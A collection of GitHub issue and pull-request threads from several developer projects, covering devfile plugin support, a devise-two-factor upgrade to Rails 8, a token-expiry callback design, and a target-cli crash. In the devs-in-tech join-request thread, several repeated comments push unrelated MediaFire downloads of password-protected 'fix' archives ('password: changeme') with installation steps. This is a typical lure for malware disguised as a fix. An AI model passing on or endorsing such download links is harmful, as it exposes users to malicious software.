If the goal is to have a different user-facing description of the concepts behind plugins, which resolves to something compatible with the current implementation of plugins on the DevWorkspace side, then that makes perfect sense to me.

@amisevsk I have created https://github.com/devfile/api/issues/364. Are you ok if we move forward with this PR and continue the discussion there.

@amisevsk @davidfestal can you pls have a look? I've rebased and updated the tests for this PR

Removing the milestone. Removal of the plugin from the schema is now tracked by issue #407 on the milestone plan.

authors: amisevsk davidfestal elsony l0rd maysunfaisal mmulholla yangcao77


text:
chore: document unsupported devfile 2.2.x features

What does this PR do?
Adds additional documentation regarding which DevFile 2.2.x features are not yet supported by DWO.
What issues does this PR fix or reference?
Fix #983
Is it tested? How?
n/a, though you can see how the document looks here.
PR Checklist

[ ] E2E tests pass (when PR is ready, comment /test v8-devworkspace-operator-e2e, v8-che-happy-path to trigger)

[ ] v8-devworkspace-operator-e2e: DevWorkspace e2e test
[ ] v8-che-happy-path: Happy path for verification integration with Che

/retest

/retest

/retest

/retest

repo: devfile/devworkspace-operator


text:
Issue upgrading to Rails 8.0.0.beta1

I tried upgrading one of my Rails apps to the new version 8.0.0.beta1 yesterday and encountered some failing tests, which appear to relate to breaking changes in the devise-two-factor gem.
I suspect it may relate to some of the breaking changes that have been introduced, with regards to encrypted attributes.
Obviously a core part of the Rails 8 philosophy is concerned with using some of the built-in functionality for a simpler authentication system, without needing to rely on devise.
That's all well and good, but for those of us with strong pre-existing dependencies on the devise stack, it would be good to ensure backwards compatibility.
I can provide more context, as needed, but thought I'd create a quick issue, in case the gem maintainers are already aware of this issue.

This project will likely stay focused on a Devise integration.
What errors did you run into on Rails 8? We have a demo app available at https://github.com/devise-two-factor/example-rails_7_1 if someone wanted to try upgrading that.

bundle install
Fetching gem metadata from https://rubygems.org/........
Resolving dependencies...
Could not find compatible versions

Because devise-two-factor >= 4.1.1 depends on railties ~> 7.0
  and rails >= 8.0.0.beta1 depends on railties = 8.0.0.beta1,
  devise-two-factor >= 4.1.1 is incompatible with rails >= 8.0.0.beta1.
So, because Gemfile depends on rails ~> 8.0.0.beta1
  and Gemfile depends on devise-two-factor >= 6.0, < 6.1,
  version solving has failed.

Seeing the same here.
I've seen that upgrading to rails 8.0.0.rc1 automatically downgrades devise-two-factor to v1.

Earlier today I tested against v8.0.0 (final release) and the tests passed.
Randomized with seed 54213
...........................

Finished in 9.22 seconds (files took 0.27539 seconds to load)
27 examples, 0 failures

Randomized with seed 54213

I used this patch
diff --git a/Appraisals b/Appraisals
index 1852a73..d37b6a1 100644
--- a/Appraisals
+++ b/Appraisals
@@ -12,3 +12,8 @@ appraise "rails-7.2" do
   gem 'railties', '~> 7.2.0'
   gem 'activesupport', '~> 7.2.0'
 end
+
+appraise "rails-8.0" do
+  gem 'railties', '~> 8.0.0'
+  gem 'activesupport', '~> 8.0.0'
+end
diff --git a/devise-two-factor.gemspec b/devise-two-factor.gemspec
index 4351ae1..6579212 100644
--- a/devise-two-factor.gemspec
+++ b/devise-two-factor.gemspec
@@ -20,8 +20,8 @@ Gem::Specification.new do |s|
   s.test_files    = `git ls-files -- spec/*`.split("\n")
   s.require_paths = ['lib']

-  s.add_runtime_dependency 'railties',       '~> 7.0'
-  s.add_runtime_dependency 'activesupport',  '~> 7.0'
+  s.add_runtime_dependency 'railties',       '>= 7.0', '< 8.1'
+  s.add_runtime_dependency 'activesupport',  '>= 7.0', '< 8.1'
   s.add_runtime_dependency 'devise',         '~> 4.0'
   s.add_runtime_dependency 'rotp',           '~> 6.0'

I don't want to step into anyone's work, I created #291 now that Rails 8.0 has been released.

Release as v6.1.0. Thank you to all who contributed!

That's me riding on Rails 8 now.
Thank you all for your help.

authors: bsedat charlietarr1 el-chogo itsameandrea kjellberg

repo: devise-two-factor/devise-two-factor


text:
Integrate devon4j migration support

We have created migration support in devcon:
https://github.com/devonfw/devcon/issues/135
This feature shall be integrated in devon-ide. IMHO devcon is to be considered dead on the long run. I would expect devon-ide to be the new solution as a CLI tool. For advanced UX plans are already discussed to create a new devon-dashboard. This could be part of devon-ide or could be a separate add-on. This dashboard could inform about notifications and could also offer all CLI use-cases of devon-ide in a graphical user-interface.
For the integration of the code migration we should discuss the design:

shall this code simply get integrated into our configurator?
or shall we create a separate tool (as JAR) for that to keep the configurator isolated?

I currently tend for the isolation.

We also need to integrate a new migration from devon4j:3.0.0. Maybe we even need to release a devon4j:3.0.1 bugfix with latest spring boot 2.0.x and 3.1.0 with latest 2.1.x.

Feature is implemented.
PR #108 still open. However the feature is considered as done, hence closing this issue.

repo: devonfw/devon-ide


text:
Can't load a pdf file opened in Safari

I opened the demo using the latest Safari version on Mac. The pdf file at the righthand side was generated correctly, however, I can't be saved the file. How to work around with this problem?

Not sure, I think that's a safari issue. I don't think there is anything we can do about it. Maybe file a bug report with Apple?

authors: devongovett lvarayut

repo: devongovett/pdfkit

license: mit


text:
Define onTokenExpired event

Is your feature request related to a problem? Please describe.

Currently SDK users need to implement a token refresh process if they want to keep a user logged in. This works fine, but could be easier for SDK users when a token expired, as token expiration HTTP 401 may require some logic to be differentiated from regular HTTP 401 status code.
Describe the solution you'd like

Describe alternatives you've considered

Check for HTTP status code equals 401 and send a token refresh request.
Pseudo-code, yet to be tested:
    public onTokenExpired: () => void;

    public tokenExpired(): void {
        if (this.onTokenExpired) {
            this.onTokenExpired();
        }
    }

Additional context

The responsibility on making the decision of refreshing a token or not doesn't change. It'll still be up to the SDK consumer to decide what to do.
We just want to assume the logic that will check the HTTP 401 Unauthorized response to tell which ones are related to token expiration and notify the client app.

Hi, @jfoliveira!
I just wanted to make sure I understood correctly the issue. Currently, the SDK exports a refreshTokenUser function. For any API request, the conditional as to whether the 401 is for an expired token or an unauthorized request is still being done client-wise, right? Therefore, this implementation would differentiate the two 401s, and, for example, for a given response, maybe add in the axios response intercept an error?

Therefore, this implementation would differentiate the two 401s

Correct.

for example, for a given response, maybe add in the axios response intercept

That could be a starting point.
The most important criteria is that a client application consuming this SDK, when initializing an instance of Devopness API client should be able to provide a callback to be invoked once the tokenExpired event is dispatched.
Example, pseudo code from a user consuming Devopness SDK-JS and logging the event to the console:
import { DevopnessApiClient } from '@devopness/sdk-js'

// 1) consumer initialize DevopnessApiClient instance
const devopnessApi = new DevopnessApiClient();

// 2) consumer defines its own event handler for the`onTokenExpired` event:
public doThisWhenDevopnessTriggerTokenExpiredEvent(): void {
  console.log('Devonpess `tokenExpired` event has been triggered.');
}

// 3) consumer tells client instance to invoke a custom method when the event is triggered:
devopnessApi.onTokenExpired = doThisWhenDevopnessTriggerTokenExpiredEvent;

// any other code interacting with Devopness SDK:
const userTokens = await devopnessApi.users.loginUser(...)

Then, on the SDK itself, we could check if the consumer defined an event handler and - if so - we trigger the externally defined method:
    public onTokenExpired: () => void;

    public tokenExpired(): void {
        if (this.onTokenExpired) {
            this.onTokenExpired();
        }
    }

Let us know if you have further questions.

authors: danielSbastos jfoliveira

repo: devopness/devopness


text:
Myfix

I push documentation update for clarity.

@ojacques Are you happy with that, now???

so what about the split of code then???

Yeah done! Happy now?

Looks good to me! :+1:

authors: arneluehrs clarsonneur ojacques

repo: devops-dojo/the-app


text:
list command throws panic: runtime error

Any list command fails with the below:
> target vault list
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x6be53e]

goroutine 1 [running]:
github.com/devops-rob/target-cli/cmd.glob..func22(0x9c08c0, {0x7448e1, 0x0, 0x0})
        /home/runner/work/target-cli/target-cli/cmd/list.go:25 +0x9e
github.com/spf13/cobra.(*Command).execute(0x9c08c0, {0x9fd940, 0x0, 0x0})
        /home/runner/work/target-cli/target-cli/vendor/github.com/spf13/cobra/command.go:944 +0x827
github.com/spf13/cobra.(*Command).ExecuteC(0x9c22a0)
        /home/runner/work/target-cli/target-cli/vendor/github.com/spf13/cobra/command.go:1068 +0x3cd
github.com/spf13/cobra.(*Command).Execute(...)
        /home/runner/work/target-cli/target-cli/vendor/github.com/spf13/cobra/command.go:992
github.com/devops-rob/target-cli/cmd.Execute()
        /home/runner/work/target-cli/target-cli/cmd/root.go:146 +0x25
main.main()
        /home/runner/work/target-cli/target-cli/main.go:6 +0x17

> target terraform list
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x6bea9d]

goroutine 1 [running]:
github.com/devops-rob/target-cli/cmd.glob..func26(0x9c1720, {0x7448e1, 0x0, 0x0})
        /home/runner/work/target-cli/target-cli/cmd/list.go:123 +0x7d
github.com/spf13/cobra.(*Command).execute(0x9c1720, {0x9fd940, 0x0, 0x0})
        /home/runner/work/target-cli/target-cli/vendor/github.com/spf13/cobra/command.go:944 +0x827
github.com/spf13/cobra.(*Command).ExecuteC(0x9c22a0)
        /home/runner/work/target-cli/target-cli/vendor/github.com/spf13/cobra/command.go:1068 +0x3cd
github.com/spf13/cobra.(*Command).Execute(...)
        /home/runner/work/target-cli/target-cli/vendor/github.com/spf13/cobra/command.go:992
github.com/devops-rob/target-cli/cmd.Execute()
        /home/runner/work/target-cli/target-cli/cmd/root.go:146 +0x25
main.main()
        /home/runner/work/target-cli/target-cli/main.go:6 +0x17

> fgrep -w VERSION /etc/os-release
VERSION="22.04.3 LTS (Jammy Jellyfish)"

and
> fgrep -w VERSION /etc/os-release
VERSION="19.3 (Tricia)"

ps: the latter is a bit outdated though is for the sake of example

Similar here:
[~]% tv create commonbuild --endpoint "https://vault.[hidden].com" --token "hvs.[hidden]" --namespace "secrets"
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x0 pc=0x100847fa8]

[~]% uname -a
Darwin mac06770 23.2.0 Darwin Kernel Version 23.2.0: Wed Nov 15 21:53:18 PST 2023; root:xnu-10002.61.3~2/RELEASE_ARM64_T6000 arm64 arm Darwin
[~]% sw_vers
ProductName:            macOS
ProductVersion:         14.2.1
BuildVersion:           23C71

I also stumbled upon this. Looks like it's related to the following (global config variable used by the CLI):
https://github.com/devops-rob/target-cli/blob/7a10f70ca7b6f6da387f82a00136414b66ff0ba4/cmd/root.go#L84-L86
It hits this case:
https://github.com/devops-rob/target-cli/blob/7a10f70ca7b6f6da387f82a00136414b66ff0ba4/cmd/root.go#L210-L216
But doesn't set the global config variable (c), because it never hits this:
https://github.com/devops-rob/target-cli/blob/7a10f70ca7b6f6da387f82a00136414b66ff0ba4/cmd/root.go#L216-L226
For context (pun intended), my configuration file contains:
$ cat ~/.target/profiles.json
{
        "vault": {},
        "consul": {},
        "nomad": {}
        "terraform": {}
}

💡 We need to remove the else it is wrapped in in order for things to then ultimately flow properly into that global variable.

Fixing the json made the command works.

Yay! I can confirm the fix. Thanks.

authors: bradleyfrank picatz yermulnik

repo: devops-rob/target-cli


text:
[ADD ME TO THE ORGANIZATION]

Name:  cosmycoder
Location:  japan
Interest: all blockchain development
Discord username(optional):- cosmycoder
Why do you want to join?

I want to join because i like making some dev friends and learn from them.

You can also join our Discord community here
Feel free to check out other cool repositories of the DevsInTech Community here.

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

authors: cosmycoder deverchettychandrashekar enricozao wolone

repo: devs-in-tech/join-the-community


text:
arrow button to switch to next page isn't visible

Arrow button to switch from login page/landing page is not visible properly. Fix needed..

This issue is mainly because we don't have a horizontally wide design for the purple part. We've asked for a wide design so that the arrow can be shown properly in the center and on the purple design.
Once the image is ready, we can align the arrow accordingly.
Keep an eye on this issue for the same.

okay

authors: Mallikarjunople tejasmorkar

repo: devscollab/skill-board


text:
Bug(githubactions-golang): GitHub Actions workflow failed with error: Error: Username and password required

Describe the Bug
Test case: GitOps

dtm apply xxx succeeded with NO error
GitHub Actions workflow failed:

/plugin githubactions-golang
/assign @daniel-hutao

There is another point to consider. Currently, DockerHub Username doesn't support passing through configuration files, but uses environment variables, which is unreasonable. I think it can be changed like this:
docker:
  enable: True
  registry:
    type: dockerhub/harbor
    username: NAME
    repository: REPO

/cc @devstream-io/pmc

repo: devstream-io/devstream


text:
修改vitepress-config访问链接

原地址访问: Page Not Found

感谢提醒